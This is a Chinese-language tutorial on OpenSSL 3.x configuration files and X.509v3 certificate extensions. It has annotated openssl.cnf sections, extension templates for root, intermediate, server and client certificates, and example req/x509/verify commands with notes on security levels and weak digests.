# 定义 HOME 的默认值,防止操作系统中不存在 HOME 环境变量。
HOME = /tmp

# [3.x] RANDFILE 已废弃,OpenSSL 3.0 起不再读取该配置项,官方 openssl.cnf 中也已删除。
# 现在随机数直接取自操作系统熵源(getrandom/getentropy/CryptGenRandom),写了也不起作用。
#RANDFILE = /dev/random

# 扩展对象定义
# 如果没有在 OpenSSL 命令行中定义 X.509 证书的扩展项,那么就会从下面对扩展对象的定义中获取。
# 定义方法有两种,第一种(已废弃,不要用)是存储在外部文件中,也就是这里"oid_file"变量定义的文件。
#oid_file = ${ENV::HOME}/.oid
# 第二种是存储在配置文件的一个字段中,也就是这里"oid_section"变量值所指定的字段。
oid_section = new_oids

# [3.x] provider 配置。3.0 起算法由 provider 提供,默认只加载 default。
# 需要 MD2/RC4/DES/SEAL 之类老算法(例如读旧的 PKCS#12)时才需要显式启用 legacy。
#openssl_conf = openssl_init
#[ openssl_init ]
#providers = provider_sect
#[ provider_sect ]
#default = default_sect
#legacy  = legacy_sect
#[ default_sect ]
#activate = 1
#[ legacy_sect ]
#activate = 1

# 要将此配置文件用于 "openssl x509" 命令的 "-extfile" 选项,
# 请在此指定包含 X.509v3 扩展的小节名称
#extensions =
# 或者使用一个默认字段中仅包含 X.509v3 扩展的配置文件

[ new_oids ]
# 添加可以被 'ca', 'req', 'ts' 命令使用的扩展对象。格式如下:
# 对象简称 = 对象数字ID
# 下面是一些增强型密钥用法(extendedKeyUsage)的例子

# 任何目的(一次性包含所有增强用法)
anyExtendedUsage = 2.5.29.37.0
# 服务器身份验证
serverAuth = 1.3.6.1.5.5.7.3.1
# 客户端身份验证
clientAuth = 1.3.6.1.5.5.7.3.2
# 代码签名
codeSigning = 1.3.6.1.5.5.7.3.3
# 安全电子邮件
emailProtection = 1.3.6.1.5.5.7.3.4
# IPSec 终端系统
ipsecEndSystem = 1.3.6.1.5.5.7.3.5
# IPSec 隧道
ipsecTunnel = 1.3.6.1.5.5.7.3.6
# IPSec 用户
ipsecUser = 1.3.6.1.5.5.7.3.7
# 时间戳
timeStamping = 1.3.6.1.5.5.7.3.8
# OCSP 签名
OCSPSigning = 1.3.6.1.5.5.7.3.9
# IPSec 密钥交换
ipsecIKE = 1.3.6.1.5.5.7.3.17
# 微软个人代码签名
msCodeInd = 1.3.6.1.4.1.311.2.1.21
# 微软商业代码签名
msCodeCom = 1.3.6.1.4.1.311.2.1.22
# 微软信任列表签名
msCTLSign = 1.3.6.1.4.1.311.10.3.1
# 微软加密文件系统
msEFS = 1.3.6.1.4.1.311.10.3.4

ca 证书签发配置

# `man ca`
[ ca ]
default_ca = CA_default

[ CA_default ]
dir = ./ca                           # CA的工作目录
certs       = $dir/certs             # 颁发的证书所在位置
crl_dir     = $dir/crl               # 已吊销证书的吊销列表的存储目录位置
database = $dir/index.txt            # 证书颁发的索引文件
unique_subject = no                  # 同一个"subject"是否只能创建一个证书,默认值为 yes
                                     #  但建议设为 no 以方便根CA自签名( -selfsign )。
new_certs_dir = $dir/newcerts        # 新颁发证书的默认位置,相当于备份。等同于"-outdir"选项

certificate = $dir/cacert.pem        # 根 CA 证书所在位置,互联网上根 CA 子 CA。等同于"-cert"选项
serial = $dir/serial                 # 下一个要颁发证书的编号(16进制)
crlnumber   = $dir/crlnumber         # 证书吊销编号

crl     = $dir/crl.pem               # 曾被吊销的证书列表
private_key = $dir/private/cakey.pem # CA 私钥文件位置,等同于"-keyfile"选项

x509_extensions = v3_ca              # 生成自签名根证书时要使用的证书扩展项字段名,该扩展字段定义了要加入
                                     # 到根证书中的一系列 X.509v3 扩展项。对应 -extensions 命令行选项

name_opt    = ca_default             # 用户需要确认签发证书时可读证书 DN 域的显示格式。可用值与 x509 指令的 -nameopt 选项相同。
cert_opt    = ca_default             # 当用户需要确认签发证书时证书域的显示格式.可用值与 x509 指令的 -certopt 选项相
                                     # 同,不过 no_signame 和 no_sigdump 总被默认设置。

copy_extensions = copy               # 是否将证书请求中的扩展项信息加入到证书扩展项中去。
# 取值范围以及解释:
# none: 忽略所有证书请求中的扩展项
# copy: 将证书扩展项中没有的项目复制到证书中
# copyall: 将所有证书请求中的扩展项都复制过去,并且覆盖证书扩展项中原来已经存在的值。
# 此选项的主要用途是允许证书请求提供例如 subjectAltName 之类扩展的值。

#crl_extensions = crl_ext            # 定义生成CRL时需要加入的扩展项字段。对应 -crlexts 命令行选项。

default_days = 36500                 # 默认有效期,等同于"-days"选项。OpenSSL 自带配置里的默认值是 365 天。
                                     # 注意:36500 天只适用于根CA/内网自用。签给"服务端"的叶子证书不要这么长:
                                     # Apple 自 iOS13/macOS10.15 起拒绝有效期 >398 天的 TLS 服务端证书,
                                     # 且该限制对手动导入信任库的私有CA同样生效(Chrome 也在跟进收紧)。
#default_startdate = 210407223344Z   # 新证书默认的生效日期,如果未设置则使用签发时的时间,
                                     # 格式为:YYMMDDHHNNSSZ(年月日时分秒Z),等同于"-startdate"选项
#default_enddate = 090303223344Z     # 新证书默认的失效日期,格式为:YYMMDDHHNNSSZ(年月日时分秒Z),等同于"-enddate"选项。
                                     # [3.4] 命令行上 -not_before / -not_after 是这两者的别名,语义更清楚。
# 从当前CRL(证书撤销列表)到下次CRL发布的间隔小时数或天数。依次对应 -crlhours , -crldays 命令行选项。
#default_crl_hours = 72
default_crl_days= 30                 # 默认吊销列表存放时间
                                     # [3.2] 另有 -crl_lastupdate / -crl_nextupdate 可直接指定绝对时间
default_md = default                 # 默认摘要算法。(对应于"-digest")
# [3.x] 官方 openssl.cnf 现在用的是 default_md = default,含义是"按公钥算法选默认摘要"。
# default:对 Ed25519 / ML-DSA / SLH-DSA 这类签名算法自带摘要,
# 指定 -sha256 会被静默忽略(不报错),写 default 才能准确表达意图、也不会误导读配置的人。
# 通常,证书签发的特种名称(DN)域的各个参数顺序与证书策略的参数顺序一致。
# 但是,如果这里设为 yes 则保持与证书请求中的参数顺序一致。对应 -preserveDN 命令行选项。
preserve = no

# [3.x] RANDFILE 已废弃且不再被读取,删掉即可(见前面"默认字段"一节)。
#RANDFILE = $dir/private/.rand

# [3.x] 序列号来源。给了 serial 文件就用文件递增;也可以完全不用文件:
#rand_serial = yes                   # 每次签发生成随机序列号,不落盘(对应命令行 -rand_serial)
                                     # CA/B 论坛要求序列号含 >=64 位熵,随机序列号是现在的主流做法

policy = policy_match                # 证书请求 DN 域匹配策略的字段。对应 -policy 命令行选项。

# 默认值为 yes ,设为 no 表示从证书的 DN 中删除 EMAIL 字段。对应 -noemailDN 命令行选项。
email_in_dn = yes

#----------------------------------------
[ policy_match ]
countryName = match              # C 国家  。 match 表示必须一致
stateOrProvinceName = match      # ST 省或洲的完整名称 
organizationName = match         # O 组织机构名称
organizationalUnitName = match   # OU 组织机构单元名称
localityName = optional          # L  所在位置的名称(默认为城市) 。optional 可以不一致
commonName      = supplied       # CN 通用名。持有者名或者所在服务器主机名(即域名)。supplied 必须填写不能空
emailAddress    = optional       # 管理员邮件地址。可选


#三种策略:match匹配、optional可选、supplied提供
#- match:要求申请填写的信息跟CA设置信息必须一致
#- optional:可有可无,跟CA设置信息可不一致
#- supplied:必须填写这项申请信息


#### 生成自签名证书(RootCA)时使用的 X.509v3 证书扩展项,对应 -addext 命令行选项 #####
[ v3_ca ]
basicConstraints = critical,CA:TRUE
keyUsage = critical, keyCertSign, cRLSign
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer

# 关于根CA扩展的三个常见错误,都很隐蔽:
#
# 1) 不要在 CA 证书上写 extendedKeyUsage(比如 OCSPSigning)。
#    RFC 5280 没有定义 EKU 沿链继承,但 Chrome/NSS/Windows 实际会做 EKU 嵌套检查:
#    根上写了 OCSPSigning,就等于把这个 CA 限死成只能签 OCSP 响应者证书,
#    它签出来的 serverAuth 证书会被判定为 EKU 不在允许集合内而失败。
#    OCSP 响应者应该是 CA *另外签发的一张叶子证书* ,不是 CA 自己。
#    私有CA 的正确做法是:根证书上完全不写 EKU。
#
# 2) noCheck(id-pkix-ocsp-nocheck)属于"OCSP 响应者证书"的扩展,
#    含义是"校验此证书时不必再去查它自己的吊销状态"。放在根CA上没有意义。
#
# 3) keyUsage 建议加 critical,且 CA 证书只需要 keyCertSign + cRLSign。
#    加 digitalSignature 只在这张 CA 证书还要直接参与签名(如签 OCSP 响应)时才需要,
#    一般的签发型 CA 不需要,多给权限没有好处。
#
# 中间 CA 在上面基础上限制路径长度,禁止它再签下级CA:
#[ v3_intermediate_ca ]
#basicConstraints = critical, CA:TRUE, pathlen:0
#keyUsage = critical, keyCertSign, cRLSign
#subjectKeyIdentifier = hash
#authorityKeyIdentifier = keyid:always,issuer

[3.x] 注意:SKID/AKID 现在是自动加的

从 OpenSSL 3.0 起, req -x509 和 x509 在签发证书时会自动添加 subjectKeyIdentifier 和 authorityKeyIdentifier,不写扩展段也有:

openssl req -x509 -new -key ca.key -days 30 -subj "/CN=T CA" -out ca.crt
openssl x509 -in ca.crt -noout -text | sed -n '/X509v3 extensions/,/Signature Alg/p'
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                3F:BD:5A:02:5B:28:04:E1:C5:0D:56:DE:48:D0:BA:C9:D6:6D:F8:82
            X509v3 Authority Key Identifier:
                3F:BD:5A:02:5B:28:04:E1:C5:0D:56:DE:48:D0:BA:C9:D6:6D:F8:82
            X509v3 Basic Constraints: critical
                CA:TRUE

SKID/AKID 是 内置行为 ,与配置文件无关 —— 用 -config /dev/null 排除掉所有配置后 它们依然存在。要完全关掉扩展只能用 -x509v1 (生成 X.509 v1 证书)。

但上面那个 basicConstraints: CA:TRUE 不是内置的 ,它来自配置文件, 这个区别很重要,详见下一小节。

req 证书请求配置

input_password :密码输入文件,和命令行的"-passin"选项对应,密码格式以及意义见"openssl密码格式"
output_password:密码的输出文件,与命令行的"-passout"选项对应,密码格式以及意义见"openssl密码格式"
default_bits   :openssl req自动生成RSA私钥时的长度。[3.x] 现在不写时默认是 2048(不是老文档说的 512),建议 2048 或 3072。
               :命令行的"-new"和"-newkey"可能会用到它。注意该项只对 RSA 有意义,EC/Ed25519/ML-DSA 的强度由 -newkey 的算法名决定。
default_keyfile:默认的私钥输出文件,与命令行的"-keyout"选项对应 
encrypt_key    :当设置为no时,自动创建私钥时不会加密该私钥。等价于命令行的"-noenc"([3.x] 旧名 -nodes 已 deprecated,但仍可用)。
               :[3.5] 需要加密时的默认算法已从 des-ede3-cbc(3DES) 改为 aes-256-cbc,req/cms/smime 三个命令都受影响。
default_md     :指定创建证书请求时对申请者信息进行数字签名的单向加密算法,与命令行的"-[dgst]"对应 可以使用(sha256, sha3-256, sha512, sha3-512, ...)
prompt         :当指定为no时,则不提示输入证书请求的字段信息,而是直接从 openssl.cnf 中读取 :请小心设置该选项,很可能请求文件创建失败就是因为该选项设置为 no 
string_mask    :为一些字段设置默认的字符串类型,比如证书请求中的城市和组织名称。可能的取值和解释如下
  # default: 包含了 PrintableString, T61String, BMPString 三种类型
  # pkix  : 包含了 PrintableString, BMPString 两种类型
  # utf8only: 只使用 UTF8 字符串。推荐使用这个,这样可以完美的包含任意字符。
  # nombstr : 包含了 PrintableString, T61String 两种类型
distinguished_name:(DN)是一个扩展属性段落,用于指定证书请求时可被识别的字段名称。
/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址,可以省略[email protected]

#可被识别的字段名称包含了用户的标识信息,对应 -subj 命令行选项。如
[ req ]
# `man req`
default_bits        = 4096
distinguished_name  = req_distinguished_name
string_mask         = utf8only
default_md          = sha256

[ req_distinguished_name ]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB


#req_extensions = v3_req              # 证书请求扩展的字段名,该扩展字段定义了要加入到证书
                                      #  请求中的一系列 X.509v3 扩展项。对应 -reqexts 命令行选项。
##### 要加入到证书请求中的一系列 X.509v3 扩展项,对应 -addext 命令行选项 #####
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth, clientAuth
subjectAltName = @alt_names          # SAN 是现代证书的必填项,见下面说明

[ alt_names ]
DNS.1 = www.example.com
DNS.2 = example.com
DNS.3 = *.example.net
IP.1  = 192.168.7.1

# 上面这段相对老模板做了几处修正,原因:
#
# * subjectAltName 必须有。Chrome 58+ / Firefox / Go crypto/tls 已 *完全忽略 CN* ,
#   只看 SAN。缺 SAN 的证书即使导入信任库也会报 ERR_CERT_COMMON_NAME_INVALID。
#   这一条比 keyUsage/EKU 加起来都重要。
#   注意 OpenSSL 自己是例外:证书没有 SAN 时它会 *回落到 CN* ,
#   所以 openssl verify 和 curl 都会说"没问题",浏览器和 Go 却拒。
#   实测对照见前面"Ubuntu 26.04 自带 openssl.cnf 的四个坑 / 坑2"。
#
# * keyUsage 去掉了 nonRepudiation。它是给"不可否认性"法律语义场景(如签名文档)用的,
#   TLS 服务端证书用不到,CA/B 基线要求里也不含它。
#   另外 keyEncipherment 只有 TLS<=1.2 的 RSA 密钥传输套件才用到,
#   *ECDSA 证书不要写 keyEncipherment* ,只保留 digitalSignature。
#
# * extendedKeyUsage 去掉了 timeStamping,并去掉了 critical。
#   timeStamping 和 serverAuth 混在一起没有任何实际用途;
#   EKU 标 critical 会让不认识其中某个用途的老客户端直接拒绝,收益为负。
#
# * 删掉了原来同时出现的这两行 —— 它们是 *同一个扩展的两种写法* ,
#   放在同一段里后者覆盖前者,容易让人误以为是两个扩展:
#     1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05   # OCSP Must-Staple 的裸 OID 写法
#     tlsfeature = status_request               # 同一个东西的可读写法(1.1.0+)
#   现在统一用 tlsfeature 即可;且 Must-Staple 一旦签进证书,
#   服务端没配好 OCSP Stapling 就会导致整站打不开,私有CA 场景基本不要加。

[3.x] 更省事的做法:用 -addext 代替 req_extensions

不想为了几个扩展单独维护一个 cnf 文件时,直接在命令行上加:

openssl req -new -key server.key -subj "/CN=app.example.com" -out server.csr \
        -addext "subjectAltName=DNS:app.example.com,DNS:*.example.com,IP:127.0.0.1" \
        -addext "basicConstraints=CA:FALSE" \
        -addext "keyUsage=critical,digitalSignature,keyEncipherment" \
        -addext "extendedKeyUsage=serverAuth"

-addext 可以重复给,每次一个扩展。注意它写进的是 CSR , 要让这些扩展进入最终证书,签发时还需要 -copy_extensions copy (见后文)。

扩展部分

通常应用程序将包含一个指向扩展部分的选项。扩展部分的每一行都采用以下形 式。如果存在 critical,则扩展将为 critical。

extension_name=[critical,] extension_options

扩展主要有四种类型: 字符串扩展、多值扩展、原始扩展和任意扩展。

# 1 字符串扩展只包含一个字符串,该字符串包含值本身或如何获取值。
nsComment="This is a Comment"

# 2 值扩展有短形式和长形式。短形式是名称和值的列表:
basicConstraints=critical,CA:true,pathlen:1

# 3 长形式允许将值放置在一个单独的部分:
basicConstraints=critical,@bs_section

[bs_section]
CA=true
pathlen=1
这两种形式是等价的。

# 4 原始扩展的语法由扩展代码控制: 例如,它可以在多个部分中包含数据。
#   要使用的正确语法是由扩展代码本身定义的: 查看一个示例的证书策略扩展。
# 5 如果不支持扩展类型,则必须使用任意扩展语法,请参阅任意扩展部分以获得更多详细信息。
basicConstraints 基本限制
basicConstraints=CA:TRUE
basicConstraints=CA:FALSE
basicConstraints=critical,CA:TRUE, pathlen:0 # 表示禁止签发下级 CA 证书(仅能签发"叶子证书")
  • CA:TRUE/FALSE TRUE 表示是 CA 证书(可签发其他证书);FALSE 表示是终端实体证书(叶子证书),不能再签发任何证书
  • pathlen:N 后缀表示本证书之下还允许再出现几级 CA 证书("0"表示只能签叶子证书,不能签下级CA)。 该字段只在 CA:TRUE 时有意义,且只约束 CA 的层数,不限制能签多少张叶子证书
  • critical 表示关键扩展。RFC 5280 要求 CA 证书的 basicConstraints 必须标记为 critical ; 叶子证书上不标 critical 也可以

链路校验时只要有任何一级的 basicConstraints 不是 CA:TRUE ,整条链就判失败:

openssl verify -CAfile ca.crt server.crt
# error 24 at 1 depth lookup: invalid CA certificate
keyUsage 密钥用法
keyUsage=nonRepudiation, digitalSignature, keyEncipherment
keyUsage=critical, keyCertSign

#支持的名称有:
#- digitalSignature 数字签名
#- nonRepudiation 防否认
#- keyEncipherment(密钥加密)
#- dataEncipherment(数据加密)
#- keyAgreement(密钥协商)
#- keyCertSign(证书签发)
#- cRLSign(证书撤销列表签名)
#- encipherOnly(仅加密)
#- decipherOnly(仅解密)
extendedKeyUsage 扩展密钥用法

这个扩展包含一个用法列表,指出证书公钥可用于的目的

这些名称可以是对象短名称,也可以是 oid 的点号数字形式。虽然任何 OID 都可以使用,但只有某些值是有意义的。特别是下列 PKIX、 NS 和 MS值是有意义的:

extendedKeyUsage=critical,codeSigning,1.2.3.4
extendedKeyUsage=serverAuth,clientAuth


Value                  Meaning
-----                  -------
serverAuth             SSL/TLS Web Server Authentication. 服务器身份验证
clientAuth             SSL/TLS Web Client Authentication. 客户端身份验证
codeSigning            Code signing. 代码签名
emailProtection        E-mail Protection (S/MIME). 安全电子邮件
timeStamping           Trusted Timestamping 时间戳
OCSPSigning            OCSP Signing OCSP 签名
ipsecIKE               ipsec Internet Key Exchange  IPSec 密钥交换
msCodeInd              Microsoft Individual Code Signing (authenticode) 微软个人代码签名
msCodeCom              Microsoft Commercial Code Signing (authenticode) 微软商业代码签名
msCTLSign              Microsoft Trust List Signing 微软信任列表签名
msEFS                  Microsoft Encrypted File System 微软加密文件系统
subjectKeyIdentifier 使用者密钥标识符

这实际上是一个字符串扩展,可以取两个可能的值。要么是自动遵循 RFC3280 准则的单词散列,要么是十六进制字符串,给出扩展值以包括。强烈建议不要使用十六进制字符串。

subjectKeyIdentifier=hash
authorityKeyIdentifier 颁发机构密钥标识符

颁发者选项从颁发者证书复制颁发者和序列号。只有在 keyid 选项失败或者没有包含的情况下才会执行此操作,除非”always”表示始终包含该值

authorityKeyIdentifier=keyid,issuer
authorityKeyIdentifier = keyid,issuer:always
subjectAltName 使用者备用名称(SAN)

包含email, URI, DNS, RID, IP, dirName(专有名称)和其他名称,多个以逗号分隔常用于实现泛域名证书、IP常用于绑定特定的IP地址、"copy"表示直接复制证书中的包含的邮件地址

subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
subjectAltName = @master_names
[ master_names ]
DNS.1 = ${ENV::MASTER_NAME}.${ENV::BASE_DOMAIN}

subjectAltName=email:[email protected],RID:1.2.3.4
subjectAltName=otherName:1.2.3.4;UTF8:some other identifier


subjectAltName=dirName:dir_sect
[dir_sect]
C=UK
O=My Organization
OU=My Unit
CN=My Name
issuerAltName 颁发者别称
issuerAltName = issuer:copy # copy从证书中复制
authorityInfoAccess 权限信息访问(OCSP)

提供了有关如何访问与 CA 相关的某些信息的详细信息。其语法是accessOID;位置的语法与主题替代名称相同(除了不支持 email: copy)。accessOID 可以是任何有效的 OID,但是只有某些值是有意义的,例如OCSP 和 castanors。

authorityInfoAccess = OCSP;URI:http://ocsp.my.host/
authorityInfoAccess = caIssuers;URI:http://my.ca/ca.html
crlDistributionPoints 证书吊销分发位置
# 简单的例子
crlDistributionPoints=URI:http://myhost.com/myca.crl
crlDistributionPoints=URI:http://my.com/my.crl,URI:http://oth.com/my.crl

#完整的分发点
crlDistributionPoints=crldp1_section

[crldp1_section]
fullname=URI:http://myhost.com/myca.crl
CRLissuer=dirName:issuer_sect
reasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name
issuingDistributionPoint 颁发者分发地址
issuingDistributionPoint=critical, @idp_section

[idp_section]
fullname=URI:http://myhost.com/myca.crl
indirectCRL=TRUE
onlysomereasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name
certificatePolicies 证书策略

这是一个原始的扩展。可以使用适当的语法设置这个扩展的所有字段

certificatePolicies= 1.2.4.5, 1.1.3.4

certificatePolicies=ia5org,1.2.3.4,1.5.6.7.8,@polsect
[polsect]
policyIdentifier = 1.3.5.8
CPS.1="http://my.host.name/"
CPS.2="http://my.your.name/"
userNotice.1=@notice

[notice]
explicitText="Explicit Text Here"
organization="Organisation Name"
noticeNumbers=1,2,3,4
policyConstraints 策略限制

包括名称 requireExplicitPolicy 或 inhibitPolicyMapping和一个非负整数值。至少要有一个组件存在。

policyConstraints = requireExplicitPolicy:3
nameConstraints 名称约束

名称应以允许或排除这两个词开头,后跟一个;。名称和值的其余部分遵循 subjectAltName 的语法,但 email 除外: 不支持复制,IP 表单应由 IP地址和子网掩码组成,中间用/分隔。

nameConstraints=permitted;IP:192.168.0.0/255.255.0.0
nameConstraints=permitted;email:.somedomain.com
nameConstraints=excluded;email:.com
noCheck 跳过 OCSP 检查
noCheck = ignored
tlsfeature TLS 特性(Must-Staple)

每个标识符可以是一个数字(0。. 65535)或支持的名称。当 TLS客户端发送列出 的扩展时,TLS 服务器应该在其应答中包含该扩展。

支持的名称是: status_request and status_request_v2

tlsfeature = status_request
nsComment 证书说明
nsComment = "Some Random Comment"
nsCertType 证书类别(已废弃)

nsCertType / nsComment 是 Netscape 时代的私有扩展。现代客户端(浏览器、Go、Java、 openssl verify)全部忽略 nsCertType ,它的职责早已由 basicConstraints、keyUsage、 extendedKeyUsage 三个标准扩展完全接管。OpenSSL 仍然支持只是为了向后兼容。 遇到老模板里有这两行,删掉即可,删掉不会有任何副作用。

支持client, server, email, objsign, reserved, sslCA, emailCA, objCA.

nsCertType = client
nsComment = "OpenSSL Generated Client Certificate"
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"
[3.5] 新增支持的 X.509v3 扩展

3.5 增加了一批属性证书(Attribute Certificate)和 CRL 相关的扩展编解码支持, 日常 TLS 证书用不到,但如果在做 PMI/授权体系可以留意: aAissuingDistributionPoint 、 allowedAttributeAssignments 、 timeSpecification 、 attributeDescriptor 、 roleSpecCertIdentifier 、 authorityAttributeIdentifier 、 attributeMappings 。

任意扩展(ASN1 / DER 原始编码)

如果 OpenSSL代码不支持扩展,则必须使用任意扩展格式对其进行编码。对于支持的扩展,也可以使用任意格式。应该特别小心,以确保数据的格式对于给定的扩展类型是正确的有两种方法可以对任意扩展进行编码。

#第一种方法是使用 ASN1这个词,后面跟着扩展内容,使用与 ASN1 _ generate _ nconf (3)相同的语法
1.2.3.4=critical,ASN1:UTF8String:Some random data
1.2.3.4=ASN1:SEQUENCE:seq_sect
[seq_sect]
field1 = UTF8:field1
field2 = UTF8:field2

# 使用单词 DER 在任何扩展中包含原始编码的数据
1.2.3.4=critical,DER:01:02:03:04
1.2.3.4=DER:01020304
DER 后面的值是扩展的 DER 编码的十六进制转储。任何扩展都可以放在这个表单中以覆盖默认行为。例如:
basicConstraints=critical,DER:00:01:02:03
#DER 和 ASN1选项应谨慎使用。如果不小心使用,可能会创建完全无效的扩展。
范例:常用扩展段模板
#### 根CA ####
[ v3_ca ]
basicConstraints = critical, CA:TRUE
keyUsage = critical, keyCertSign, cRLSign
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
# 不写 extendedKeyUsage:见前面"ca 证书签发配置"一节的说明

#### 中间CA(只允许再签叶子证书) ####
[ v3_intermediate_ca ]
basicConstraints = critical, CA:TRUE, pathlen:0
keyUsage = critical, keyCertSign, cRLSign
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer

#### TLS 服务端证书(RSA 密钥) ####
[ v3_server ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
subjectAltName = @alt_names

#### TLS 服务端证书(ECDSA 密钥):注意没有 keyEncipherment ####
[ v3_server_ec ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature
extendedKeyUsage = serverAuth
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
subjectAltName = @alt_names

#### TLS 客户端证书(mTLS) ####
[ v3_client ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature
extendedKeyUsage = clientAuth
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer

[ alt_names ]
DNS.1 = www.example.com
DNS.2 = example.com
DNS.3 = *.example.net
IP.1  = 192.168.7.1
IP.2  = 13::17

为什么服务端证书要单独区分 RSA 和 ECDSA

keyEncipherment 表示"公钥可用于加密密钥material",只有 TLS 1.2 及更早的 RSA 密钥传输套件( TLS_RSA_WITH_* )会用到。ECDSA 公钥根本不能做加密, 给 ECDSA 证书写 keyEncipherment 在语义上是错的,部分严格实现会因此拒绝该证书。 纯 TLS 1.3 环境下即使是 RSA 证书也不再需要它(TLS 1.3 删除了 RSA 密钥传输), 但为了兼容仍在跑 TLS 1.2 的客户端,RSA 证书上一般还是保留。

openssl 证书命令详解

openssl req用法 (生成证书请求和自建CA)

一旦有了私钥,就可以创建证书签名申请(certificate signing request,CSR)。这是要求CA给证书签名的一种正式申请,该申请包含申请证书的实体的公钥以及该实体的某些信息。该数据将成为证书的一部分。CSR 始终使用它携带的公钥所对应的私钥进行签名。

CSR 创建的过程一般都是交互式的,你需要提供区分证书所需的不同元素。认真阅读 openssl 工具的帮助。

  • 如果你想让某一个字段为空,不要直接回车,必须输入一个点( . );
  • 如果直接回车,OpenSSL 会直接使用这个字段默认的值(虽然几乎所有人都这么做,但是如果使用的是默认的 OpenSSL 配置,直接回车没有任何意义。只有在你意识到可以通过直接修改 OpenSSL 配置或者提供自己的配置文件来修改默认配置的时候,直接回车才是没问题的)。
1 生成 CSR
# 生成私钥。[3.x] genrsa/ecparam -genkey 这些"每种算法一个命令"的老写法仍可用,
# 但现在统一推荐 genpkey,一个命令覆盖所有算法(详见下一小节):
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out pri_key.pem
# 等价的老写法: openssl genrsa -out pri_key.pem 2048

#交互式,生成证书请求文件
openssl req -new -key pri_key.pem -out req1.csr
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:beijing  
Locality Name (eg, city) [Default City]:beijing
Organization Name (eg, company) [Default Company Ltd]:. # 字段为空,必须输入一个点
Organizational Unit Name (eg, section) []:.
Common Name (eg, your name or your server's hostname) []:a.xcw.com
Email Address []:

Please enter the following 'extra' attributes # 下面两项几乎不用考虑,留空即可
to be sent with your certificate request
A challenge password []:
An optional company name []:

除了 -new 选项,使用 -newkey 选项也能创建证书请求文件,

2 查看 CSR 内容
cat req1.csr
openssl req -in req1.csr
openssl req -in req1.csr -text -noout #"-text"和"-noout"结合使用,则只输出证书请求的文件头部分

# 用当前证书生成 CSR 文件
#如果你想更新一张证书并且不想对里面的信息作任何更改,那么实现可以变得简单一些。
#使用下面的命令可以用当前的证书创建一个全新的CSR文件
openssl x509 -x509toreq -in fd.crt -out fd.csr -signkey fd.key
3 指定 CSR 的签名算法

注意到证书请求文件的头部分有一项是 Signature Algorithm ,它表示使用的是哪种数字签名算法。默认使用的是 sha256,更多可支持的摘要见 openssl list -digest-commands 。

#指定md5算法(仅作演示,生产环境绝对不要用)
openssl req -new -key pri_key.pem -out req2.csr -md5

# 查看
openssl req -in req2.csr -noout -text | grep Algo
            Public Key Algorithm: rsaEncryption
    Signature Algorithm: md5WithRSAEncryption
  • [3.x] 坑:弱摘要"签得出来,但用不了"

    OpenSSL 3.x 在 生成 阶段并不拦截 md5/sha1,命令会正常返回 0, 你会以为一切正常;真正的拒绝发生在 校验 阶段,而且默认的 openssl verify 用的是 security level 0,也不报错,于是更难发现:

    openssl x509 -req -in s.csr -CA ca.crt -CAkey ca.key -days 30 -sha1 -out s1.crt
    openssl verify -CAfile ca.crt s1.crt
    s1.crt: OK                                    # <- 默认 auth_level 0,看不出问题
    
    openssl verify -auth_level 1 -CAfile ca.crt s1.crt
    CN=a.test
    error 68 at 0 depth lookup: CA signature digest algorithm too weak
    error s1.crt: verification failed             # <- TLS 默认就是 level 1
    

    也就是说这种证书 openssl verify 说 OK,但浏览器和任何 TLS 库都会拒绝。 自测时记得带上 -auth_level 1 ,才能复现真实客户端的判定。

    安全级别(security level)的含义:

    级别 最低对称强度 在低一级基础上追加的限制
    0 无 什么都允许,仅用于调试或读取历史遗留数据
    1 80 bit 禁止 MD5/SHA1 证书签名 ;RSA/DSA/DH >= 1024 位,EC >= 160 位
    2 112 bit RSA/DSA/DH >= 2048 位,EC >= 224 位;禁止 RC4 和 SSLv3;关闭压缩
    3 128 bit RSA/DSA/DH >= 3072 位,EC >= 256 位;要求前向保密;禁止 TLS<1.1
    4 192 bit RSA/DSA/DH >= 7680 位,EC >= 384 位;禁止 SHA1 做 MAC;禁止 TLS<1.2
    5 256 bit RSA/DSA/DH >= 15360 位,EC >= 512 位

    TLS 连接默认是 level 1,很多发行版(RHEL9、Ubuntu 22.04+、Debian 12)在 系统 openssl.cnf 里把默认拉到了 level 2,这就是"同一条命令在我机器上能跑、 在服务器上报 dh key too small "的常见原因。查一下系统配置即可确认:

    grep -rn 'SECLEVEL\|CipherString\|MinProtocol' $(openssl version -d | cut -d'"' -f2)/openssl.cnf
    

    命令行用 -auth_level N ,TLS 密码套件串里用 @SECLEVEL=N (如 openssl s_client -cipher 'DEFAULT@SECLEVEL=2' )。

4 验证 CSR 的数字签名
# openssl req -verify -in req2.csr -noout
verify OK
5 让 req 自动创建私钥

其实如果不提供 -key, openssl req会在任何需要私钥的地方自动创建私钥 ,并保存在特定的位置,默认的保存位置为当前目录,文件名为 privkey.pem,具体保存的位置和文件名由配置文件决定

